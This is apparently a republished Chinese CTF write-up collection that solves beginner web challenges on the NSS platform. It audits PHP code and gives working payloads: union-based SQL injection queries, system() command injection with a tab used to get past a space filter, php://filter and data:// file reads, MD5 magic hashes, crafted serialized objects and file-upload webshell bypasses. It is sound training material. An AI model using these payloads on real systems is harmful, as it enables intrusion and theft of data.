NSS刷题

[SWPUCTF 2021 新生赛]jicao

类型:PHP、代码审计、RCE

主要知识点:json_decode()函数

json_decode():对JSON字符串解码,转换为php变量

用法:

<?php
$json = {"ctf":"web","question":18};

var_dump(json_decode($json));
var_dump(json_decode($json, true));
?>

代码审计:

<?php
highlight_file('index.php');
include("flag.php"); //包含一个php文件里面可能有一个$flag对象值为flag
$id=$_POST['id']; //发送一个POST请求,传入一个参数id,定义为对象$id
$json=json_decode($_GET['json'],true); 
//发送一个GET请求,传入一个参数json;
//true将解析结果以数组形式返回;
//将解析的数组赋值给变量$json
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
//当id==wllmNB及$json进行JSON解码后的x的关联值为wllm时,输出$flag的值
?>

结果:

[SWPUCTF 2021 新生赛]easy_md5

类型:弱比较、PHP、数组绕过

主要知识点:md5弱比较、数组绕过

代码审计:

<?php highlight_file(__FILE__);include 'flag2.php';if (isset($_GET['name']) && isset($_POST['password'])){$name = $_GET['name']; //获取GET请求中的'name'参数值,并赋值给对象$name$password = $_POST['password']; //获取POST请求中的'password'参数值,并赋值给对象$passwordif ($name != $password && md5($name) == md5($password)){echo $flag;}//如果$name的值不等于$password的值,且$name的md5值等于$password的md5值,输出$flag的值else {echo "wrong!";}//条件不满足输出"wrong!"}
else {echo 'wrong!';
}
//如果未提供'name'或'password'参数,输出"wrong!"
?> 

特殊字符串

某些特殊的字符串,加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。此时就是值不同但md5或sha1值相同

常见的密文以0e开头的字符串

md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
 
 
sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799

数组绕过

md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,两个数组经过加密后得到的都是NULL,也就是相等的。故传入两个不同的数组经md5()加密会返回为NULL

 [SWPUCTF 2021 新生赛]include

类型:PHP伪协议、文件包含、PHP

主要知识点:php://filter伪协议

发现并没有上传文件的地方

尝试用php://filter伪协议过滤一下flag.php文件(一般flag都在flag.php中)

条件:

只需要读取,allow_url_fopen=on;allow_url_include=off

用法:

?file=php://fileter/read=<过滤器名称>/resource=<要过滤的文件(数据流)>

补充:

php://filter是一种元封装器:设计用于"数据流打开”时的"筛选过滤”应用,对本地磁盘文件进行读写,输出base64加密后的信息

convert.base64-encode:转换过滤器,用于过滤base64编码

扩展:

allow_url_fopen:配置选项,默认开启,决定了PHP 是否能够通过URL(而不是本地文件路径)来打开文件,为on时,fopen()和file_get_contents()等与文件操作相关的函数可以读取和写入远程文件

allow_url_include:配置选项,默认关闭,为on时,PHP 允许通过 URL 的形式,从远程服务器包含和执行PHP 文件

进入到 flag.php页面,发现一串base64编码,解码后即为flag

[SWPUCTF 2021 新生赛]easy_sql 

类型:SQL注入

主要知识点:union联合注入

先用?id=1'尝试发现没变化这时发现网站标题叫“参数是wllm”,所以用?wllm=1'尝试,回显成功

用?wllm=1\判断闭合方式,发现是单引号注入

用union联合注入尝试

?wllm=-1' union select 1,2,3--+

 回显成功

查询库

?wllm=-1' union select 1,2,database()--+

爆表

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

爆列

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

查看flag

?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+

[SWPUCTF 2021 新生赛]easyrce

类型:RCE、PHP

主要知识点:RCE

直接?url=system("ls");

 发现回显index.php文件,查看其目录?url=system("ls /");

发现目录中有疑似flag的内容,用?url=system("cat /flllllaaaaaaggggggg");查看

[第五空间 2021]WebFTP

类型:目录扫描、信息收集、.git泄露

主要知识点:dirsearch的使用

用bp抓包尝试爆破但发现需要还需要验证码爆破难度大所以应该不是弱口令爆破

用dirsearch扫描发现git泄露

进入查看

找了一圈没发现flag

重新看扫描结果发现有个phpinfo.php页面,进入ctrl+f搜索flag,得到flag

[SWPUCTF 2021 新生赛]babyrce

类型:空格绕过、RCE、Cookie注入

主要知识点:Cookie注入、shell_exec()绕过

修改cookie值为admin=1得到rasalghul.php文件

 进入查看

代码审计:

 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {$ip=$_GET['url'];if(preg_match("/ /", $ip)){die('nonono');}//正则匹配空格被禁用$a = shell_exec($ip);//shell_exec()将命令的输出作为字符串返回,而不是打印到标准输出。echo $a;
}
?> 

将flag放入1.txt文件中,访问1.txt文件即可得到flag(但这题直接cat%09/f*就可以出来了不需要再访问1.txt文件)

[SWPUCTF 2021 新生赛]ez_unserialize

类型:反序列化、PHP

主要知识点:构造pop链

用御剑扫描

进入网页,发现一个php文件

访问

代码审计:

 <?phperror_reporting(0);
show_source("cl45s.php");class wllm{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __destruct(){if($this->admin === "admin" && $this->passwd === "ctf"){include("flag.php");echo $flag;    //目标}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}$p = $_GET['p'];
unserialize($p);?> 

构造pop链,打开phpstorm

<?phpclass wllm{public $admin;public $passwd;//    public function __construct(){
//        $this->admin ="user";
//        $this->passwd = "123456";
//    }
//
//    public function __destruct(){
//        if($this->admin === "admin" && $this->passwd === "ctf"){
//            include("flag.php");
//            echo $flag;
//        }else{
//            echo $this->admin;
//            echo $this->passwd;
//            echo "Just a bit more!";
//        }
//    }
}//$p = $_GET['p'];
//unserialize($p);$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
echo serialize($w);
?>

输入/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}得到flag

[SWPUCTF 2021 新生赛]easyupload2.0

类型:文件上传、文件头绕过

主要知识点:不常用的php可执行文件后缀

 

需要提交jpg文件

用bp抓包 ,修改后缀,尝试双写绕过不可行,用其他php可执行文件的扩展名pht、phtml

用蚁剑连接,成功绕过

打开找flag

[SWPUCTF 2021 新生赛]easyupload1.0 

类型:文件上传、MIME绕过、文件头绕过

主要知识点:前端绕过

需要提交jpg文件

用bp抓包修改后缀

连接蚁剑

打开找flag

 但是发现这个flag是错误的

用phpinfo查看php服务器的配置信息

ctrl+f搜索flag

 或者直接用蚁剑打开终端用env命令查看环境变量也可以发现flag

[SWPUCTF 2021 新生赛]no_wakeup

类型:反序列化、PHP

主要知识点:构造pop链、绕过_wakeup()

点进去查看

代码审计

 <?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}    //反序列化之前触发wakeup,给passwd赋值,导致passwd不等于wllmpublic function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;    //目标}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?> 

构造pop链

<?php
class HaHaHa{public $admin;public $passwd;//    public function __construct(){
//        $this->admin ="user";
//        $this->passwd = "123456";
//    }
//    public function __wakeup(){
//        $this->passwd = sha1($this->passwd);
//    }
//
//    public function __destruct(){
//        if($this->admin === "admin" && $this->passwd === "wllm"){
//            include("flag.php");
//            echo $flag;
//        }else{
//            echo $this->passwd;
//            echo "No wake up";
//        }
//    }
}
//
//$Letmeseesee = $_GET['p'];
//unserialize($Letmeseesee);$h=new HaHaHa();
$h->admin="admin";
$h->passwd="wllm";
echo serialize($h);
?>

由于_wakeup()函数将wllm加密导致执行echo $this->passwd;echo  "No wake up";

故需要绕过_wakeup(),变量数量大于真实的变量数量即可绕过_wakeup()的执行

[LitCTF 2023]PHP是世界上最好的语言!! 

类型:RCE、PHP、无参RCE

提示:探姬坚信PHP是世界上最好的语言,于是她用PHP写了一个小工具 (Flag位于根目录)

主要知识点:命令注入

尝试点击发现旁边的空白可以输入,根据提示尝试命令注入

发现flag,用system("cat /flag");得到flag

[SWPUCTF 2021 新生赛]PseudoProtocols

类型:PHP伪协议、PHP、文件包含

主要知识点:php://filter伪协议、data伪协议

 用php://filter/read=convert.base64-encode/resource=hint.php查看hint.php文件,发现一串base64代码

 解码

访问test2222222222222.php

代码审计:

 <?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
//file_get_contents()从一个文件中读取所有内容,并将其作为一个字符串返回。
//'r'代表只读模式echo "success\n";echo $flag;
}
?> 

用php://input伪协议来获取POST数据,POST为I want flag发现没法查看

用data伪协议查看,得到flag

[LitCTF 2023]导弹迷踪

类型:JS分析、源码泄漏、信息收集

 发现是一个游戏,查看源代码也没有什么东西,用御剑和dirsearch也没有扫出东西

直接在js文件里发现flag(一个一个文件找有点麻烦)

[NISACTF 2022]easyssrf 

类型:PHP伪协议、PHP

主要知识点:file伪协议

尝试输入一个flag

file:///fl4g查看/fl4g

 访问ha1x1ux1u.php

扩展:

stristr()查找字符串在另一个字符串中第一次出现的位置。所以不能用?file=file:///flag

直接?file=/flag得到flag

[NCTF 2018]签到题

类型:HTTP协议、PHP、信息收集

进入后是一个百度页面,查看源码没找到flag,尝试删除secret.php,发现删除不掉,用bp抓包删除后发送发现flag

 [BJDCTF 2020]easy_md5

类型:弱比较、数组绕过、PHP

尝试提交个1,发现url处多了个?password=1

 尝试sql注入但发现没有回显,不是sql注入

用bp抓包看看,发现一句sql语句

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/325173.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

安装Nox夜神模拟器关闭了HyperV后Docker运行不了怎么办?

1.背景 为了模拟真机&#xff0c;尝试安装了Nox夜神模拟器&#xff0c; 安装过程要求关闭Hyper-V。当时只是在程序安装卸载中关闭了系统服务。以为到时勾选上就好了。操作路径&#xff1a;控制面板\所有控制面板项\程序和功能\启用或关闭Windows功能\Hyper-V。 后来卸载掉了夜神…

FreeRTOS的列表和列表项 list.c文件详解

列表、列表项的定义以及初始化 列表相当于链表&#xff0c;列表项相当于节点&#xff0c;FreeRTOS中的列表相当于一个双向环形链表。 列表使用指针指向列表项。一个列表&#xff08;list&#xff09;下面可能有很多个列表项&#xff08;list item&#xff09;&#xff0c;每个…

vivado仿真readmemb函数相对路径

目前常用的vivado工程的结构如下所示 prj-name|-xxx|-prj.sim|-sim_1|-behav|-modelsim|-tb_prj.do|-xsim|-prj.srcs|-sim_1|-new|-tb_prj.v|-tb_prj_mem.txt一般来说我们创建的testbench文件和新建的txt文件都会放在srcs->sim_1->new这个路径下面&#xff0c;但是我们在…

【PHP【实战版】系统性学习】——登录注册页面的教程,让编写PHP注册变成一个简单的事情

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…

最美博客POETIZE个人博客系统源码

源码说明&#xff1a; POETIZE个人博客系统源码 | 最美博客 这是一个基于SpringBoot、Vue2和Vue3的开源项目&#xff0c;支持移动端自适应&#xff0c;并具备完善的前台和后台管理功能。 网站分为两个模块&#xff1a; 1. 博客系统&#xff1a;包括文章、表白墙、图片墙、收…

SpringBoot实现图片验证码

引入依赖 <dependency><groupId>com.github.whvcse</groupId><artifactId>easy-captcha</artifactId><version>1.6.2</version> </dependency>代码实现 package com.qiangesoft.captcha.controller;import com.wf.captcha.*…

【Linux】基础命令:进程、网络

systemctl命令 控制内置服务 systemctl start | stop | status | enable | disable 服务名 start | stop开启关闭&#xff0c;status状态&#xff0c;enable | disable开启关闭开机自启 date命令 查看系统时间 date [-d] [格式化字符串] date -d “1 day” %Y-%m-%d 修改时区…

Stable Diffusion:AI绘画的新纪元

摘要&#xff1a; Stable Diffusion&#xff08;SD&#xff09;作为AI绘画领域的新星&#xff0c;以其开源免费、强大的生成能力和高度的自定义性&#xff0c;正在引领一场艺术与技术的革命。本文旨在为读者提供Stable Diffusion的全面介绍&#xff0c;包括其原理、核心组件、安…

链表的经典面试题(数据结构详解)+顺序表和链表之间区别+计算机存储体系

前言 首先这里已经正式步入数据结构的知识&#xff0c;之前我们已经讲解了链表的使用&#xff0c;接下来我们需要的就是大量的练习&#xff0c;熟练掌握数据结构。下面的题型我们选择的都是链表的经典题型&#xff0c;面试题型&#xff0c;包含快慢指针&#xff0c;数形结合&am…

【qt】设计器实现界面

设计器实现界面 一.总体思路二.具体操作1.创建项目2.粗略拖放3.水平布局4.垂直布局5.修改名字6.转到槽7.实现槽函数 一.总体思路 创建项目粗略拖放水平布局垂直布局修改名称转到槽实现槽函数 二.具体操作 1.创建项目 这次咱们一定要勾选Generate form哦。 因为我们要使用设…

R语言数据探索与分析-碳排放分析预测

# 安装和加载需要的包 install.packages("readxl") install.packages("forecast") install.packages("ggplot2") library(readxl) library(forecast) library(ggplot2)# 数据加载和预处理 data <- read_excel("全年数据.xlsx") co…

感知机和神经网络

引入 什么是神经网络&#xff1f; 我们今天学习的神经网络&#xff0c;不是人或动物的神经网络&#xff0c;但是又是模仿人和动物的神经网络而定制的神经系统&#xff0c;特别是大脑和神经中枢&#xff0c;定制的系统是一种数学模型或计算机模型&#xff0c;神经网络由大量的人…

FANUC机器人工具坐标偏移的用法

一、工具坐标偏移的使用场景 在机器人位置不改变的情况下&#xff0c;工业机器人使用默认工具坐标系示教的一系列运动点位&#xff0c;要保持原本点位位置不变的情况下&#xff0c;改变机器人工具坐标的参数&#xff0c;就要用到机器人坐标转化的功能。在FANUC机器人上体现为机…

通过mvn archetype 创建一个spring boot start 工程

mvn archetype https://maven.apache.org/archetype/index.html 遇到的问题 对于想自定义一个spring-boot-start的同学,比如 Springboot自定义Starter启动器 整个过程很繁琐。 定义属性开关增加 spring boot test start插件定义自动装载 spring.factories or org.springfra…

关于一致性,你该知道的事儿(上)

关于一致性&#xff0c;你该知道的事儿&#xff08;上&#xff09; 前言一、缓存一致性二、内存模型一致性三、事务一致性四、分布式事务一致性4.1 分布式系统的一些挑战4.2 关于副本的一些概念4.3 分布式事务之共识问题4. 3.1 PC(two-phase commit, 2PC)4.3.2 Raft 三、后记参…

【牛客】SQL201 查找薪水记录超过15条的员工号emp_no以及其对应的记录次数t

1、描述 有一个薪水表&#xff0c;salaries简况如下&#xff1a; 请你查找薪水记录超过15条的员工号emp_no以及其对应的记录次数t&#xff0c;以上例子输出如下&#xff1a; 2、题目建表 drop table if exists salaries ; CREATE TABLE salaries ( emp_no int(11) NOT N…

python数据分析——pandas数据结构2

参考资料&#xff1a;活用pandas库 导入基础数据 # 导入库 import pandas as pd # 读取数据集 dfpd.read_csv(r"..\data\scientists.csv") df.head() 1、DataFrame DataFrame是Pandas中最常见的对象。可以把它看作python存储电子表格式数据的方式。Series数据结构…

基于单片机的温度控制系统设计(51基础版)-设计说明书

本论文设计了一种基于51单片机的温度控制系统&#xff0c;该系统具备以下主要功能&#xff1a;首先&#xff0c;通过温度传感器实时检测环境温湿度&#xff0c;以获取准确的温度数值。其次&#xff0c;通过按键设置温度阈值&#xff0c;用户可以根据需求自行调整控制温度的上限…

Dragonfly 拓扑的路由算法

Dragonfly 拓扑的路由算法 1. Dragonfly 上的路由 (1)最小路由(2)非最小路由 2. 评估3. 存在问题 (1)吞吐量限制(2)较高的中间延迟 references Dragonfly 拓扑的路由算法 John Kim, William J. Dally 等人在 2008 年的 ISCA 中提出技术驱动、高度可扩展的 Dragonfly 拓扑。而…

杰发科技AC7801——ADC之Bandgap和内部温度计算

0. 参考 电流模架构Bandgap设计与仿真 bandgap的理解&#xff08;内部带隙电压基准&#xff09; ​ ​ 虽然看不懂这些公式&#xff0c;但是比较重要的一句应该是这个&#xff1a;因为传统带隙基准的输出值为1.2V ​ 1. 使用 参考示例代码。 40002000是falsh控制器寄…